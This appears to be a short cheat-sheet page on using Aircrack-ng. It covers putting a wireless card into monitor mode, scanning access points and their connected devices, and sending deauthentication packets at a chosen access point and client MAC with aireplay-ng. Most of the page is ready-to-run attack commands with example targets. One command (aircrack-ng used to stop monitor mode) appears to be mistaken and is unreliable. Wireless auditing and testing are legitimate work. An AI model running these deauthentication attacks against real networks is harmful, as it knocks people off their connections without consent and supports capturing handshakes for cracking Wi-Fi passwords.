Aircrack-ng

Monitor Mode

1
# Stop processes that could cause issues
2
sudo airmon-ng check kill
3
​
4
# Put wlan0 into monitor mode
5
sudo airmon-ng start wlan0
6
​
7
# Check that wlan0 is monitoring
8
sudo iwconfig
9
​
10
# Check Injection is working
11
sudo aireplay-ng -9 wlan0
Copied!

Stop Monitor Mode

1
sudo aircrack-ng stop wlan0
Copied!

Scan for Access Points

1
sudo airodump-ng wlan0
Copied!

Scan for devices on Access Points

airodump-ng -d "target's BSSID" -c "target's channel number" "wireless adapter monitor mode name"
1
sudo airodump-ng -d 50:C7:BF:DC:4C:E8 -c 11 wlan0
Copied!

Deauthenticate devices on Access Points

This will only work if wlan0 is set to the same channel as the target AP. The above scans will tell you the channel.
The below will change wlan0 to channel 11.
1
sudo iwconfig wlan0 channel 11
Copied!
Command
Function
Aireplay-ng
Tool
-0 10
Send 10 deauth packets (0 to keep deauthing)
-a [AP MAC]
Specify the AP to target
-c [Device MAC]
Specify the device on the AP to target (none specified will do all)
wlan0
Specify the interface to use
1
aireplay-ng -0 10 -a 50:C7:BF:DC:4C:E8 -c E0:B5:2D:EA:18:A7 wlan0
Copied!
Last modified 9mo ago